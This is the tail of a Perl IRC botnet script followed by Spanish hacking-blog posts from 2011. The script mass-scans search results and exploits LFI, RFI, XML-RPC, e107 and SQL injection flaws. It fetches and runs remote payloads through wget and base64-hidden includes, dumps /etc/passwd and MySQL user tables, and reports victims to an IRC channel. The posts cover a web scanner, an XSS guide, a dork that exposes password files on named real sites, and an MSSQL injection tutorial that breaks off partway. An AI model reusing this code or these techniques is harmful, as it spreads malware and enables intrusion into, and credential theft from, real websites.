                    my $tmp = "/tmp/cmd".int rand(2010);
                    my $upload = lfiexploit($xpl,"wget $rfiid -O $tmp;$lfispread"); sleep(1);
                    my $res = getcontent("http://".$lfitarget.$bugz.$lfi.$tmp.'');
                    if ($res =~ /BaMbY/) {
                        sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3LFI 15)( 4@ 3$engz 15) 15( 13@ 12PHPSheLL 15) 4 http://".$lfitarget." 12".$bugz." 6".$lfi." 7".$tmp." 15( 7@ 3".$sys." 15) ");
                    }
                    else {
                        sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3LFI 15)( 4@ 3$engz 15) 15( 13@ 12System 15) 4 http://".$lfitarget." 12".$bugz." 6[LFI] 15( 7@ 3".$sys." 7uid=".$uid." 15) ");
                    }
                }
                else {
                }
            } exit } sleep(3);
        }
    }
}

sub cmdxml() {
my $jed = $_[0];
my $dwa = $_[1];
my $userAgent = LWP::UserAgent->new(agent => 'perl post');
        $exploit = "<?xml version=\"1.0\"?><methodCall>";
        $exploit .= "<methodName>test.method</methodName>";
        $exploit .= "<params><param><value><name>',''));";
        $exploit .= "echo'bamby';echo`".$dwa."`;echo'solo';exit;/*</name></value></param></params></methodCall>";
my $response = $userAgent->request(POST $jed,Content_Type => 'text/xml',Content => $exploit);
if ($response->content =~ /bamby(.*)solo/s) {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3XMLCMD 15) 4 $1 ");
}
}

sub xmlscan() {
    my $engz = $_[0];
    my $bugz = $_[1];
    my $dork = $_[2];
    my $contatore = 0;   
    if ($engz =~ /GooGLe/) {
        my @xmlgoogle=&google($dork);
        push(@xmltotal, @xmlgoogle);
        }
    if ($engz =~ /AllTheWeb/) {
        my @xmlalltheweb=&alltheweb($dork);
        push(@xmltotal, @xmlalltheweb);
    }
    if ($engz =~ /Bing/) {
        my @xmlBing=&Bing($dork);
        push(@xmltotal, @xmlBing);
    }
    if ($engz =~ /ALtaViSTa/) {
        my @xmlaltavista=&altavista($dork);
        push(@xmltotal, @xmlaltavista);
    }
    if ($engz =~ /AsK/) {
        my @xmlask=&ask($dork);
        push(@xmltotal, @xmlask);
    }
    if ($engz =~ /UoL/) {
        my @xmluol=&uol($dork);
        push(@xmltotal, @xmluol);
    }
    if ($engz =~ /YahOo/) {
        my @xmlyahoo=&yahoo($dork);
        push(@xmltotal, @xmlyahoo);
    }
    my @xmlclean = &calculate(@xmltotal);
    if (scalar(@xmlclean) != 0) {
    }
    my $uni=scalar(@xmlclean);
    foreach my $xmltarget (@xmlclean)
    {
        $contatore++;
        if ($contatore==$uni-1){
            sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3XML 15)( 4@ 3$engz 15) 10 Scan Finish for 14 $dork ");
        }
        my $xpl = "http://".$xmltarget.$bugz;
        my $xmlsprd = "cd /tmp;lwp-download $byroesprd -O php.jpg;perl php.jpg;rm -rf *.jpg*;wget $byroesprd -O php.jpg;perl php.jpg;rm -rf *.jpg*";
        my $strona = getcontent($xpl);
        if ( $strona =~ /faultCode/ ) {
            xmlcek($xpl);
            xmlxspread($xpl,$xmlsprd);
            }
    }
}

sub rfiscan() {
    my $engz = $_[0];
    my $bugz = $_[1];
    my $dork = $_[2];
    my $contatore = 0;   
    if ($engz =~ /GooGLe/) {
        my @rfigoogle=&google($dork);
        push(@rfitotal, @rfigoogle);
        }
    if ($engz =~ /AllTheWeb/) {
        my @rfialltheweb=&alltheweb($dork);
        push(@rfitotal, @rfialltheweb);
    }
    if ($engz =~ /Bing/) {
        my @rfiBing=&Bing($dork);
        push(@rfitotal, @rfiBing);
    }
    if ($engz =~ /ALtaViSTa/) {
        my @rfialtavista=&altavista($dork);
        push(@rfitotal, @rfialtavista);
    }
    if ($engz =~ /AsK/) {
        my @rfiask=&ask($dork);
        push(@rfitotal, @rfiask);
    }
    if ($engz =~ /UoL/) {
        my @rfiuol=&uol($dork);
        push(@rfitotal, @rfiuol);
    }
    if ($engz =~ /YahOo/) {
        my @rfiyahoo=&yahoo($dork);
        push(@rfitotal, @rfiyahoo);
    }
    my @rficlean = &calculate(@rfitotal);
    if (scalar(@rficlean) != 0) {
    }
    my $uni=scalar(@rficlean);
    foreach my $rfitarget (@rficlean)
    {
        $contatore++;
        if ($contatore==$uni-1){
            sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3RFI 15)( 4@ 3$engz 15) 10 Scan Finish for 14 $dork ");
        }
        my $rfixpl  = "http://".$rfitarget.$bugz.$rfiid;
        my $inj        = "http://".$rfitarget." 12".$bugz." 7[PHP-SHELL]? ";
        my $re   = getcontent($rfixpl);
        if ($re  =~ /BaMbY/){
            getcontent($rfispd);
            os($rfixpl);
            sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3RFI 15) 2$inj 14 $os ");
            }
    }
}
sub sqlscan() {
    my $engz = $_[0];
    my $bugz = $_[1];
    my $dork = $_[2];
    my $contatore = 0;   
    if ($engz =~ /GooGLe/) {
        my @sqlgoogle=&google($dork);
        push(@sqltotal, @sqlgoogle);
        }
    if ($engz =~ /AllTheWeb/) {
        my @sqlalltheweb=&alltheweb($dork);
        push(@sqltotal, @sqlalltheweb);
    }
    if ($engz =~ /Bing/) {
        my @sqlBing=&Bing($dork);
        push(@sqltotal, @sqlBing);
    }
    if ($engz =~ /ALtaViSTa/) {
        my @sqlaltavista=&altavista($dork);
        push(@sqltotal, @sqlaltavista);
    }
    if ($engz =~ /AsK/) {
        my @sqlask=&ask($dork);
        push(@sqltotal, @sqlask);
    }
    if ($engz =~ /UoL/) {
        my @sqluol=&uol($dork);
        push(@sqltotal, @sqluol);
    }
    if ($engz =~ /YahOo/) {
        my @sqlyahoo=&yahoo($dork);
        push(@sqltotal, @sqlyahoo);
    }
    my @sqlclean = &calculate(@sqltotal);
    if (scalar(@sqlclean) != 0) {
    }
    my $uni=scalar(@sqlclean);
    foreach my $sqltarget (@sqlclean)
    {
        $contatore++;
        if ($contatore==$uni-1){
        sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3SQL 15)( 4@ 3$engz 15) 10 Scan Finish for 14 $dork ");
        }
        my $xpl = "http://".$sqltarget.$bugz."'";
        my $vuln = "http://".$sqltarget." 12".$bugz." 7[SQL] ";
        my $sqlsite = "http://".$sqltarget.$bugz;
        my $strona = getcontent($xpl);
        if ( $strona =~ m/You have an error in your SQL syntax/i || $strona =~ m/Query failed/i || $strona =~ m/SQL query failed/i )
        {sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3SQL 15)( 2MySQL 15) 14 $vuln ");&sqlbrute($sqlsite);}
        elsif ( $strona =~ m/ODBC SQL Server Driver/i || $strona =~ m/Unclosed quotation mark/i || $strona =~ m/Microsoft OLE DB Provider for/i )
        {sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3SQL 15)( 2MsSQL 15) 14 $vuln ");}
        elsif ( $strona =~ m/Microsoft JET Database/i || $strona =~ m/ODBC Microsoft Access Driver/i )
        {sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3SQL 15)( 2MsAccess 15) 14 $vuln ");}
    }
}

sub cmde107() {
my $path = $_[0];
my $incmd = $_[1];
my $codecmd = encode_base64($incmd);
my $cmd = 'echo(base64_decode("QmFNYlk=").shell_exec(base64_decode("aWQ=")).base64_decode("Qnlyb2VOZXQ=")).shell_exec(base64_decode("'.$codecmd.'"))';
$access = new LWP::UserAgent;
$access->agent("Mozilla/5.0");
my $req = new HTTP::Request POST => $path;
   $req->content_type('application/x-www-form-urlencoded');
   $req->content("send-contactus=1&author_name=%5Bphp%5D".$cmd."%3Bdie%28%29%3B%5B%2Fphp%5D");
my $res = $access->request($req);
my $data = $res->as_string;
if ( $data =~ /ByroeNet(.*)/ ){
     $mydata = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3e107CMD 15) 4 $mydata ");
}
}
sub e107scan() {
    my $engz = $_[0];
    my $bugz = $_[1];
    my $dork = $_[2];
    my $contatore = 0;   
    if ($engz =~ /GooGLe/) {
        my @e107google=&google($dork);
        push(@e107total, @e107google);
        }
    if ($engz =~ /AllTheWeb/) {
        my @e107alltheweb=&alltheweb($dork);
        push(@e107total, @e107alltheweb);
    }
    if ($engz =~ /Bing/) {
        my @e107Bing=&Bing($dork);
        push(@e107total, @e107Bing);
    }
    if ($engz =~ /ALtaViSTa/) {
        my @e107altavista=&altavista($dork);
        push(@e107total, @e107altavista);
    }
    if ($engz =~ /AsK/) {
        my @e107ask=&ask($dork);
        push(@e107total, @e107ask);
    }
    if ($engz =~ /UoL/) {
        my @e107uol=&uol($dork);
        push(@e107total, @e107uol);
    }
    if ($engz =~ /YahOo/) {
        my @e107yahoo=&yahoo($dork);
        push(@e107total, @e107yahoo);
    }
    my @e107clean = &calculate(@e107total);
    if (scalar(@e107clean) != 0) {
    }
    my $uni=scalar(@e107clean);
    foreach my $e107target (@e107clean)
    {
        $contatore++;
        if ($contatore==$uni-1){
            sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3e107 15)( 4@ 3$engz 15) 10 Scan Finish for 14 $dork ");
        }
        my $cmd = "echo(base64_decode(\"Vm9v\").php_uname().base64_decode(\"RG9v\"));include(base64_decode(\"aHR0cDovL3d3dy52aW5jZW50dHJhY3RvcnMuY28udWsvaW1hZ2VzL25ldy9wYm90LnR4dD8=\"));include(base64_decode(\"aHR0cDovL3d3dy52aW5jZW50dHJhY3RvcnMuY28udWsvaW1hZ2VzL25ldy9teXNwLnR4dD8=\"));";
        my $ua = LWP::UserAgent->new or die;
        $ua->agent('Mozilla/4.76 [ru] (X11; U; SunOS 5.7 sun4u)');
        $ua->timeout(15);
        my $xpl = "http://".$e107target."/contact.php";
        $xpl =~ s/\/\/contact.php/\/contact.php/g;
        my $req = HTTP::Request->new(POST => $xpl);
        $req->content_type('application/x-www-form-urlencoded');
        $req->content("send-contactus=1&author_name=%5Bphp%5D".$cmd."%3Bdie%28%29%3B%5B%2Fphp%5D");
        my $res = $ua->request($req);
        my $cont = $res->content;
            if ($cont =~ /Voo(.*)Doo/) {
                my $uname = $1;
                $uname=~s/\n//;
                $uname=~s/\r//;
                sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3e107 15)( 2$xpl 15) 14 $uname ");
            }
    }
}
sub enc()
{
   my $md5_hash = $1;
   my $md5_generated = md5_hex($md5_hash);
   sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3md5 Encode 15) 2 $md5_generated ");
}
sub dec()
{
   my $md5 = $1;
   my $crac = 'http://md5.noisette.ch/md5.php?hash='.$md5;
   my $found = getcontent($crac);
      if     ($found =~ /<string><!\[CDATA\[(.*)\]\]><\/string>/)
            {
            sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3md5 Decode 15) 2 $1 ");
            }
      else
            {
            sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3md5 Decode 15) 2 $1 ");
            }
}
sub xmlcek {
my $xmltgt = $_[0];
my $userAgent = LWP::UserAgent->new(agent => 'perl post');
        $exploit = "<?xml version=\"1.0\"?><methodCall>";
        $exploit .= "<methodName>test.method</methodName>";
        $exploit .= "<params><param><value><name>',''));";
        $exploit .= "echo'j13mb0t';echo`uname -a`;echo'j13mb0t';exit;/*</name></value></param></params></methodCall>";
my $response = $userAgent->request(POST $xmltgt, Content_Type => 'text/xml', Content => $exploit);
if ($response->content =~ /j13mb0t(.*)j13mb0t/s) {
$os=$1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3XML 15)( 2$xmltgt 15) 14 $os ");
sendraw($IRC_cur_socket, "PRIVMSG BaMbY : 15( 4@ 3XML 15)( 2$xmltgt 15) 14 $os ");
}}
sub xmlxspread() {
my $xmltargt = $_[0];
my $xmlsprd = $_[1];
my $userAgent = LWP::UserAgent->new(agent => 'perl post');
        $exploit = "<?xml version=\"1.0\"?><methodCall>";
        $exploit .= "<methodName>test.method</methodName>";
        $exploit .= "<params><param><value><name>',''));";
        $exploit .= "echo'j13m';echo`".$xmlsprd."`;echo'b0T';exit;/*</name></value></param></params></methodCall>";
my $response = $userAgent->request(POST $xmltargt, Content_Type => 'text/xml', Content => $exploit);
}

sub getcontent() {
    my $url = $_[0];
    my $req = HTTP::Request->new(GET => $url);
    my $ua  = LWP::UserAgent->new();
    $ua->timeout(15);
    my $response = $ua->request($req);
    return $response->content;
}

sub lfiexploit() {
    my $url = $_[0];
    my $rce = $_[1];
    my $agent = "<?php echo \"j13mb0t#\"; passthru(\'".$rce."\'); echo \"#j13mb0t\"; ?>";
    my $ua = LWP::UserAgent->new(agent => $agent);
    $ua->timeout(15);
    my $req = HTTP::Request->new(GET => $url);
    my $response = $ua->request($req);
    return $response->content;
}

sub google(){
    my @lst;
    my $key = $_[0];
    my $b   = 0;
    for ($b=0; $b<=1000; $b+=100){
        my $Go=("http://www.google.com/search?q=".key($key)."&num=100&filter=0&start=".$b);
        my $Res=query($Go);
        while ($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
            if ($1 !~ /google/){
                my $k=$1;
                my @grep=links($k);
                push(@lst,@grep);
            }
        }
    }
return @lst;
}
sub SIGN() {
if (($powered !~ /B/)||($mail !~ /oe/)) {
print "\nLamer!!! Bodoh ToloL Oon !!! Udah Gak Usah diRubah Lagi!!!\n\n";
exec("rm -rf $0 && pkill perl");
}
}
sub alltheweb() {
    my @lst;
    my $key = $_[0];
    my $b   = 0;
    my $pg  = 0;
    for ($b=0; $b<=1000; $b+=100) {
        my $all = ("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$b);
        my $Res = query($all);
        while ( $Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g ) {
            my $k = $1;
            $k =~ s/ //g;
            my @grep = links($k);
            push( @lst, @grep );
        }
    }
    return @lst;
}

sub uol() {
    my @lst;
    my $key = $_[0];
    my $b   = 0;
    for ($b=1; $b<=1000; $b+=10) {
        my $UoL = ("http://mundo.busca.uol.com.br/buscar.html?q=".key($key)."&start=".$b);
        my $Res = query($UoL);
        while ( $Res =~ m/<a href=\"http:\/\/([^>\"]*)/g ) {
            my $k = $1;
            if ( $k !~ /busca|uol|yahoo/ ) {
                my $k    = $1;
                my @grep = links($k);
                push( @lst, @grep );
            }
        }
    }
    return @lst;
}

sub Bing() {
    my @lst;
    my $key = $_[0];
    my $b   = 0;
    for ($b=1; $b<=1000; $b+=10) {
        my $bing = ("http://www.bing.com/search?q=".key($key)."&filt=all&first=".$b."&FORM=PERE");
        my $Res = query($bing);
        while ( $Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g ) {
            if ( $1 !~ /msn|live|bing/ ) {
                my $k    = $1;
                my @grep = links($k);
                push( @lst, @grep );
            }
        }
    }
    return @lst;
}

sub altavista(){
    my @lst;
    my $key = $_[0];
    my $b   = 0;
    for ($b=1; $b<=1000; $b+=10){
        my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
        my $Res=query($AlT);
        while ($Res=~m/<span class=ngrn>(.+?)\//g){
            if ($1 !~ /altavista/){
                my $k=$1;
                $k=~s/<//g;
                $k=~s/ //g;
                my @grep=links($k);
                push(@lst,@grep);
            }
        }
    }
return @lst;
}

sub ask() {
    my @lst;
    my $key = $_[0];
    my $b   = 0;
    my $pg  = 0;
    for ($b=0; $b<=1000; $b+=10) {
        my $Ask = ("http://it.ask.com/web?q=".key($key)."&o=0&l=dir&qsrc=0&qid=EE90DE6E8F5370F363A63EC61228D4FE&dm=all&page=".$b);
        my $Res = query($Ask);
        while ($Res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
            if ($1 !~ /ask.com/){
                my $k = $1;
                my @grep = links($k);
                push( @lst, @grep );
            }
        }
    }
    return @lst;
}

sub yahoo() {
    my @lst;
    my $key = $_[0];
    my $b   = 0;
    for ($b=1; $b<=500; $b+=1) {
        my $yahoo = ("http://www.search.yahoo.com/search?p=".key($key)."&ei=UTF-8&fr=yfp-t-501&fp_ip=IT&pstart=1&b=".$b);
        my $Res = query($yahoo);
        while ($Res =~ m/26u=(.*?)%26w=/g) {
            if ($1 !~ /yahoo/){
                my $k = $1;
                my @grep = links($k);
                push(@lst, @grep);
            }
        }
    }
    return @lst;
}
sub os() {
    my $target=$_[0];
    my $re  = &query($target);
    while ($re =~ m/<br>OSTYPE:(.+?)\<br>/g) {
        $os = $1;
    }
}

sub query($) {
my $url = $_[0];
$url =~ s/http:\/\///;
my $host  = $url;
my $query = $url;
my $page  = "";
$host  =~ s/href=\"?http:\/\///;
$host  =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query =~ s/$host//;
if ( $query eq "" ) { $query = "/"; }
eval {
my $sock = IO::Socket::INET->new(PeerAddr => "$host", PeerPort => "80", Proto => "tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page = "@r";
close($sock);
};
return $page;
}
sub links() {
    my @l;
    my $link = $_[0];
    my $host = $_[0];
    my $hdir = $_[0];
    $hdir =~ s/(.*)\/[^\/]*$/\1/;
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $host .= "/";
    $link .= "/";
    $hdir .= "/";
    $host =~ s/\/\//\//g;
    $hdir =~ s/\/\//\//g;
    $link =~ s/\/\//\//g;
    push( @l, $link, $host, $hdir );
    return @l;
}
sub key() {
    my $dork = $_[0];
    $dork =~ s/ /\+/g;
    $dork =~ s/:/\%3A/g;
    $dork =~ s/\//\%2F/g;
    $dork =~ s/&/\%26/g;
    $dork =~ s/\"/\%22/g;
    $dork =~ s/,/\%2C/g;
    $dork =~ s/\\/\%5C/g;
    return $dork;
}


sub calculate {
    my @calculate = ();
    my %visti = ();
    foreach my $element (@_) {
        $element =~ s/\/+/\//g;
        next if $visti{$element}++;
        push @calculate, $element;
    }
    return @calculate;
}
sub sqlbrute() {
            my $site=$_[0];
            my $columns=20;
my $cfin.="--";
my $cmn.= "+";
for ($column = 0 ; $column < $columns ; $column ++)
    {
    $union.=','.$column;
    $inyection.=','."0x6c6f67696e70776e7a";
    if ($column == 0)
      {
          $inyection = '';
          $union = '';
      }
    $sql=$site."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cfin;
    $response=get($sql);
    if($response =~ /loginpwnz/)
        {
         $column ++;
         $sql=$site."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cfin;
         sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3SQL 15) 14 $sql ");
         $sql=$site."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."information_schema.tables".$cfin;
         $response=get($sql)or die("[-] Impossible to get Information_Schema\n");
         if($response =~ /loginpwnz/)
             {
             $sql=$site."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."information_schema.tables".$cfin;
            sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3SQL 15)( 2SCHEMA 15) 14 $sql ");
             }
         $sql=$site."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."mysql.user".$cfin;
         $response=get($sql)or die("[-] Impossible to get MySQL.User\n");
         if($response =~ /loginpwnz/)
             {
             $sql=$site."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."mysql.user".$cfin;
            sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3SQL 15)( 2USER 15) 14 $sql ");
             }
         else
             {
             }
    while ($loadcont < $column-1)
       {
        $loadfile.=','.'load_file(0x2f6574632f706173737764)';
        $loadcont++;
       }
       $sql=$site."-1".$cmn."union".$cmn."select".$cmn."load_file(0x2f6574632f706173737764)".$loadfile.$cfin;
    $response=get($sql)or die("[-] Impossible to inject LOAD_FILE\n");
         if($response =~ /root:x:/)
             {
            sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3SQL 15)( 2Load File 15) 14 $sql ");
            }
         else
             {
             }
              foreach $tabla(@tabele)
                {
                  chomp($tabla);
                  $sql=$site."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn.$tabla.$cfin;
                 $response=get($sql)or die("[-] Impossible to get tables\n");
                  if($response =~ /loginpwnz/)
                    {
                    $sql=$site."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn.$tabla.$cfin;
                    sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3SQL 15)( 2Tabel 15) 14 $sql ");
                    &tabelka($site,$tabla);
                    }
                }
        }
    }           
}

sub tabelka() {
            my $site=$_[0];
            my $tabla=$_[1];
            my $cfin.="--";
            my $cmn.= "+";
            chomp($tabla);
            foreach $columna(@kolumny)
            {
             chomp($columna);
             $sql=$site."-1".$cmn."union".$cmn."select".$cmn."concat(0x6c6f67696e70776e7a,0x3a,$columna)".$inyection.$cmn."from".$cmn.$tabla.$cfin;
             $response=get($sql)or die("[-] Impossible to get columns\n");
             if ($response =~ /loginpwnz/)
                {
                sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 4@ 3SQL 15) ( 2SQLi Vuln 15) 14 $site 15( 2Kolom 15) 14 $columna 15( 2Tabel 15) 14 $tabla ");
                }
            }
       
}
sub nick {
    return unless $#_ == 0;
    sendraw("NICK $_[0]");
}

sub notice {
    return unless $#_ == 1;
    sendraw("NOTICE $_[0] :$_[1]");
}

sub join {
sendraw("JOIN $_[0]");
}

sub part {
sendraw("PART $_[0]");
}

sub quit {
sendraw("QUIT $_[0]");
exit;
}

martes, 15 de noviembre de 2011

golismero escaner de auditorias web

¿Qué es GoLISMERO?

GoLISMERO es un spider web capaz de detectar vulnerabilidades y formatear los resultados de forma muy útil cuando se afronta una auditoría web.

¿Para qué sirve?

GoLISMERO está pensado para ser un primer paso cuando comenzamos una auditoría de seguridad web.
Cada vez que nos enfrentamos a una nueva URL, ¿no sería genial poder disponer de forma sencilla y rápida de todos los enlaces, formularios con sus parámetros, detectar posibles URL vulnerables y que además de que se presentasen de manera que nos permita hacernos una idea de la todos los puntos de entrada donde podríamos lanzar ataques? GoLISMERO nos permite hacer todo esto.

Aprendiendo con ejemplos

A continuación se exponen diversos ejemplos y casos prácticos, que son la mejor forma de aprender a usar una herramienta de seguridad:
  1. Extraer todos los enlaces y formularios de una web, con todos sus parámetros, en formato extendido:
GoLISMERO.py –t google.com

  1. Extraer todos los enlaces, en modo compacto y colorear la salida.
GoLISMERO.py –c –m –t google.com

  1. Extraer solo los enlaces. Quitando css, javascript, imágenes y direcciones de correo.
GoLISMERO.py --no-css--no-script --no-images --no-mail –c –A links –m –t google.com
O, formato reducido:
GoLISMERO.py –na –c –A links –m –t google.com

  1. Extraer solamente los enlaces que tienen parámetros, seguir las redirecciones (HTTP 302) y exportar en HTML los resultados.
GoLISMERO.py –c –A links --follow –F html –o results.html –m –t google.com
 Y el HTML de resultados generado:

  1. Extraer todos los enlaces, buscar URL potencialmente vulnerables y utilizar un proxy intermedio para el análisis. Las URLs o parámetros vulnerables serán resaltados en rojo.
GoLISMERO.py –c –A links --follow -na –x –m –t terra.com
BUENO ESPERO QUE LES GUSTE ESTE ES UN PEQUEÑO RESUMEN AQUI LES DEJO LA WEB DE DESCARGA
 http://code.google.com/p/golismero/downloads/list

 

martes, 8 de noviembre de 2011

Todo Sobre XSS!!

Todo Sobre XSS!!

Navegando me encuentro con lo que perfectamente podría ser el texto más completo sobre XSS, es muy detallista, está muy bien explicado y muy didáctico  (muchas imágenes), son 174 páginas con métodos , tipos de ataques, herramientas, etc (todo en español)... La tabla de contenido es:
1.- Introducción
2.- Tipos de Ataques
- Reflected Cross Site Scripting (XSS Reflejado)
- Stored Cross Site Scripting (XSS Persistente)
- DOM Cross Site Scripting (DOM XSS)
- Cross Site Flashing (XSF)
- Cross Site Request/Reference Forgery (CSRF)
- Cross Frame Scripting (XFS)
- Cross Zone Scripting (XZS)
- Cross Agent Scripting (XAS)
- Cross Referer Scripting (XRS)
- Denial of Service (XSSDoS)
- Flash! Attack
- Induced XSS
- Image Scripting
- anti-DNS Pinning
- IMAP3 XSS
- MHTML XSS
- Expect Vulnerability
3.- Evitando Filtros
4.- PoC examples - Bypassing filters
- Data Control PoC
- Frame Jacking PoC
5.- Técnicas de ataque
+ Classic XSS - Robando “cookies”
+ XSS Proxy
+ XSS Shell
+ Ajax Exploitation
+ XSS Virus / Worms
+ Router jacking
+ WAN Browser hijacking
- DNS cache poison
- XSS Injected code on server
- Practical Browser Hijacking
6.- XSS Cheats - Fuzz Vectors
7.- Screenshots
8.- Herramientas
9.- Links
10.- Bibliografía
11.- Licencia de uso
12.- Autor etc,
 descarga:
http://megaupper.com/files/00JFCZML/XSS_for_fun_and_profit_SCG09_1_.pdf

lunes, 7 de noviembre de 2011

Index of /cgi-bin/db visualiza contenido pass

Index of /cgi-bin/db visualiza contenido
ok con esto estube revisando y descubri este tipo de fallo que deja al descubierto carpetas user y admin con sus pas
usando google ponemos lo siguiente:
Index of /cgi-bin/db
y un ejemplo de web seria
http://www.biddersandbuyers.com/auction/auction.pass
http://www.sansho-bussan.co.jp/cgi-bin/ ... /passwd.db
ven interesante para tratar de penetrar este sistema
bueno algo simple pero concreto suerte

viernes, 4 de noviembre de 2011

MSSQL Injection - Method Of Attack

MSSQL Injection - Method Of Attack

    MSSQL - injection, method of attack!
    ###########################

    1.1 Introduction
    1.2 How to ask Vulnerability page?
    1.3 How to prove that the site of weakness?
    1.4 How to find version / name of the DB?
    1.5 How to discover the names table (table_name)?
    1.6 How to discover the names of column (column_name)?
    1.7 How to get data from tables that interest us (eg name, pass, email, etc.)?
    1.8 Conclusion?


    [1.1 Introduction]
    ############

    This lesson will try to explain that you already know the different techniques, MSSQL-injection.
    Who will have the opportunity to learn how this method is used as a favorite act to obtain information (name, password and login) or various other information through this technique.
    MSSQL-injection, can be used for products that are created by well-known company Microsoft.
    This type of injection, then deal with those sites that are coded in ASP / Aspks etc.

    There are several types of attacks in this way:

    * - Normal MSSQL SQL Injection attacks
    * - MSSQL injection in Web services (SOAP injection)
    * - Union with MSSQL injection attack
    * - ODBC error attack the "Convert"
    * - MSSQL Blind SQL Injection attacks, etc. ..

    For this will be used for writing this type of attack:

    "Attack of the ODBC error message" Convert "


    [1.2 How to ask Vulnerability page? ]
    ############################

    How to ask who Vulnerability page is easy. This can use Google services company giant.

    Let's open: Google

    I write, for example: inurl: "products". "ID"
    inurl: "neus.asp" menu "
    inurl: "content.asp" under "
    inurl: "games.asp" ID "
    ETC ....( I decided some examples, you can now use the logic, for better dorks)

    [1.3 How to prove that the site of weakness? ]
    ##################################

    So we can understand very easily by adding the following ID page of high comma (,).
    And in case that gives us the answer we found no error page means Vulnerability example:

    ++++++++++++++++++++++++++++++++++++++
    / Microsoft Access ODBC driver /
    ++++++++++++++++++++++++++++++++++++++
    / Open quotation /
    ++++++++++++++++++++++++++++++++++++++
    / Microsoft Amos DB provider for Oracle /
    ++++++++++++++++++++++++++++++++++++++
    / Division by zero in /
    ++++++++++++++++++++++++++++++++++++++

    These are some of the most common response is shown pages that are weaknesses in the MSSQL - injection.

    Should now act as an example here, and where to put high ( ').


    For example:

    --------------------------------------
    http://www.localhost.com/ / news.asp? id = 100 '
    --------------------------------------

    Now we can say that the error is displayed:

    ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++
    Microsoft Amos DB Provider for SQL Server error '80040e14 '

    Open quotation mark after the character string ") AND (Volgorde> 0) ORDER BY Volgorde '.

    / MSN / shared / includes / main_rub.asp, Line 4
    ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++

    This page has weaknesses!


    [1.4 How to find version 2.4 / DB name? ]
    ############################


    Let the example easier to understand:

    Version:

    -------------------------------------------------- ------------------
    http://www.localhost.com/ / news.asp? id = 100 + or +1 = convert (int (@ @ version)) --
    -------------------------------------------------- ------------------


    And we have presented an example:

    ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++
    Microsoft Amos DB Provider for SQL Server error '80040e07 '

    Conversion failed when converting nvarchar value 'MS SQL Server 2008 (SP1) - 10.0.2531.0 (64) 29. March 2009 10:11:52 Copyright (c) 1988-2008 Microsoft Corporation Edition (64-bit), the operating systems Windows NT 6.0 <x64> (Build 6002: Service Pack 2) (SM), a data type Int.

    / MSN / shared / includes / main_rub.asp, Line 4
    ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++



    Now go find DB_Name:

    -------------------------------------------------- -------------------
    http://www.localhost.com/ /news.asp? id = 100 + or +1 = convert (int (DB_Name ()))--
    -------------------------------------------------- -------------------

    eg.


    ++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++
    Microsoft Amos DB Provider for SQL Server error '80040e07 '

    Conversion is not EVILZONE_CREW_DB when converting nvarchar value 'to data type int.

    / MSN / shared / includes / main_rub.asp, Line 4
    ++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++

    [1.5 How to discover the names table (table_name)]
    ######################################


    Because it is discovered, or simply to find the side of the table goes through this method.

    For example:

    -------------------------------------------------- -------------------------------------------------- --------------
    http://www.localhost.com/ / news.asp? id = 100 + or +1 = convert (int (select top 1 table_name from information_schema.tables)) --
    -------------------------------------------------- -------------------------------------------------- --------------


    And now there will be a mistake, such as:

